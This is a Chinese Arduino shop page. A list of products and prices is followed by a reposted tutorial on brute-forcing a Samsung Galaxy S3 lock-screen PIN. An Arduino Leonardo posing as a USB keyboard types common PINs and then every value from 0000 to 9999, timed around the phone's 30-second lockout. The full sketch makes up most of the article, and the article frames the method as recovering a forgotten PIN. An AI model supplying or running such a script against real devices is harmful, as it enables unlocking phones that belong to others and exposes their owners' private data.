相关商品
Arduino Leonardo 莱昂纳多控制器 原装进口
本店售价:¥178.00
Arduino 水蒸气传感器 雨水探测器 液位开关 湿度传感器 电子积木
本店售价:¥10.00
原装进口 Arduino Mega ADK 2560 开发板 Arduino uno R3 控制器
本店售价:¥420.00
Arduino Due ARM控制器 Arduino原装进口 32bit CortexM3
本店售价:¥328.00
MP3 Player Shield MP3模块 Arduino 解码器 Sparkfun 原装进口
本店售价:¥256.00
Arduino Mini 05 Sparkfun原装进口 ATmega328 控制器
本店售价:¥219.00
RedBot控制器 RedBot Mainboard Arduino开发板 Sparkfun原装进口
本店售价:¥311.00
A-Star 32u4 Mini LV 可编程模块 ATmega32U4开发板 pololu原装
本店售价:¥129.00
A-Star 32U4 Mini ULV 可编程模块 ATmega32U4开发板 Pololu原装
本店售价:¥129.00
Starduino控制器 Arduino 舵机控制器 奥松机器人
本店售价:¥298.00
Starduino 透明亚克力外壳 控制器 Arduino 保护盒子 奥松机器人
本店售价:¥25.00
4WD机器人调试助手v2.0软件 智能小车 Arduino 履带 WiFi蓝牙小车
本店售价:¥1.00
SparkFun原装进口 Block for Intel® Edison 扩展板 Arduino扩展
本店售价:¥165.00
机智云开发板 Arduino UNO 传感器扩展板 GoKit智能硬件
本店售价:¥78.00
42BYGHW609步进电机 42HYGHW 步进电机 1.7A 3D 打印机 NEMA17
本店售价:¥59.00
Arduino 电流传感器 电流检测模块 过流保护模块 交流电检测
本店售价:¥19.00
奥松 扬声器发声模块 声音输出模块 Speaker模块 麦克风发声模块
本店售价:¥29.00
Arduino Yun Mini 控制器 ATmega32U4开发板 WIFI Linux原装限量
本店售价:¥559.00
Arduino 9 Axes Motion Shield 9轴运动扩展板 三轴加速度计
本店售价:¥199.00
Arduino M0 Pro 电路板 ATSAMD21G18 Arduino UNO 升级 原装
本店售价:¥398.00
Arduino 条形LED模块 10段条状数码管 发光模块 梯度显示 短光条
本店售价:¥32.00
Arduino UNO R3 配套亚克力外壳 拼装外壳 透明盒子 专用保护盒子
本店售价:¥15.00
小手枪DIY玩具 木质立体拼装模型 儿童益智积木 手工制作拼插套件
本店售价:¥50.00
Arduino 完全实战 arduino硬件学习 提供教学视频 现货
本店售价:¥89.00
原装进口 Arduino Micro 控制器 ATmega32U4开发板 A000053
本店售价:¥178.00
Arduino M3带齿螺母紧固件套件 M3 K帽螺母 机器人制作 紧固配件
本店售价:¥7.50
原装 Arduino UNO R3 控制器 ATmega328 单片机 官方中文版
本店售价:¥119.00
基于Arduino UNO R3开发板 乐高外壳 UNO保护外壳 透明盒子 注塑外壳
本店售价:¥18.00
官方版 完美图解物联网IoT实操第二册:ESP8266 Arduino Cordova物联网书籍
本店售价:¥79.00
【创客学堂】神技能!通过arduino暴力破解Android手机
编辑:Jason2014-12-19 来源:开源杂志 浏览次数:3616
使用过安卓手机的小伙伴们肯定会有些惨痛经历,经常会忘记手机解锁图形和PIN码,但如果通过Root等方式破解手机恐怕再也无法得到官方保修,这里就介绍一种方法安全的破解它!
三星Galaxy S3手机在输错5次PIN码后,会要求等待30s然后重新输入,幸运的是,每次输错都会要求等待30s,这等待时间并不会更改,这就给了hack的机会。因为Arduino Leonardo可以作为HID设备模拟键盘通过USB OTG连接到手机,在这里我就选用了Leonardo,文章末尾有详细的代码。为了减少破解时间,可以把自己常用的密码或者数字组合优先测试。
当然,三星Galaxy S3手机的PIN码只有四位,如果从0000一直尝试到9999大概只需要16个小时,如果你的手机碰巧是小米手机,PIN码又碰巧设了17位,那你就果断Root吧~~
代码如下:
-
- /*
- Brute forcing Android 4 Digit PIN's
- To run the whole range it will take upwards of 16 hours because of
- the 30 second delay after 5 bad inputs
- Intrestingly, if the target phone has the pattern enabled
- and the backup PIN set, the backup PIN entry system doesn't force the 30 second delay after
- invalid attempts
- http://blog.infosecsee.com */
-
- const int buttonPin = 2; // input pin for pushbutton
- int previousButtonState = HIGH; // for checking the state of a pushButton
- int counter = 0; // button push counter
- int check = 0;
-
- void setup() {
-
- pinMode(buttonPin, INPUT);
-
- Keyboard.begin();
- }
-
- void loop() {
-
- int buttonState = digitalRead(buttonPin);
- if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
- Mouse.move(25, 50, 0);
- String three = "000";
- String two = "00";
- String one = "0";
-
- while(counter < 10000){
- delay(1000);
- while (check < 1){
- Keyboard.println("1234");
- delay(500);
- Keyboard.println("1111");
- delay(500);
- Keyboard.println("0000");
- delay(500);
- Keyboard.println("1212");
- delay(500);
- Keyboard.println("7777");
- Keyboard.println("");
- Keyboard.println("");
- delay(30000);
- Mouse.move(25, 50, 0);
- Keyboard.println("1004");
- delay(500);
- Keyboard.println("2000");
- delay(500);
- Keyboard.println("4444");
- delay(500);
- Keyboard.println("2222");
- delay(500);
- Keyboard.println("6969");
- Keyboard.println("");
- Keyboard.println("");
- delay(30000);
- Mouse.move(25, 50, 0);
- Mouse.move(25, 50, 0);
- Keyboard.println("9999");
- delay(500);
- Keyboard.println("3333");
- delay(500);
- Keyboard.println("5555");
- delay(500);
- Keyboard.println("6666");
- delay(500);
- Keyboard.println("1122");
- Keyboard.println("");
- Keyboard.println("");
- delay(30000);
- Mouse.move(25, 50, 0);
- Keyboard.println("1313");
- delay(500);
- Keyboard.println("8888");
- delay(500);
- Keyboard.println("4321");
- delay(500);
- Keyboard.println("2001");
- delay(500);
- Keyboard.println("1010");
- delay(500);
- Keyboard.println("");
- Keyboard.println("");
- delay(30000);
- Mouse.move(25, 50, 0);
- check++;}
- if (counter < 10 && check == 1) {
-
- Keyboard.println(three + counter);
- delay(500);
- counter++;
- Keyboard.println(three + counter);
- delay(500);
- counter++;
- Keyboard.println(three + counter);
- delay(500);
- counter++;
- Keyboard.println(three + counter);
- delay(500);
- counter++;
- Keyboard.println(three + counter);
- delay(500);
- Keyboard.println("");
- Keyboard.println("");
- delay(30000);
- Mouse.move(25, 50, 0);
- }
- else if (counter < 100){
- Keyboard.println(two + counter);
- delay(500);
- counter++;
- Keyboard.println(two + counter);
- delay(500);
- counter++;
- Keyboard.println(two + counter);
- delay(500);
- counter++;
- Keyboard.println(two + counter);
- delay(500);
- counter++;
- Keyboard.println(two + counter);
- delay(500);
- Keyboard.println("");
- Keyboard.println("");
- delay(30000);
- Mouse.move(25, 50, 0);
- }
- else if (counter < 1000){
- Keyboard.println(one + counter);
- delay(500);
- counter++;
- Keyboard.println(one + counter);
- delay(500);
- counter++;
- Keyboard.println(one + counter);
- delay(500);
- counter++;
- Keyboard.println(one + counter);
- delay(500);
- counter++;
- Keyboard.println(one + counter);
- delay(500);
- Keyboard.println("");
- Keyboard.println("");
- delay(30000);
- Mouse.move(25, 50, 0);
- }
- else {
- Keyboard.println(counter);
- delay(500);
- counter++;
- Keyboard.println(counter);
- delay(500);
- counter++;
- Keyboard.println(counter);
- delay(500);
- counter++;
- Keyboard.println(counter);
- delay(500);
- counter++;
- Keyboard.println(counter);
- delay(500);
- Keyboard.println("");
- Keyboard.println("");
- delay(30000);
- Mouse.move(25, 50, 0);
- }
- }
- }
- previousButtonState = buttonState;
- }
-
相关文章:
用户评价
匿名用户
- 咨询内容:
- 是看客
- 管理员:
-
尊敬的客户您好,感谢您光顾奥松机器人中文官网,有需要欢迎您的咨询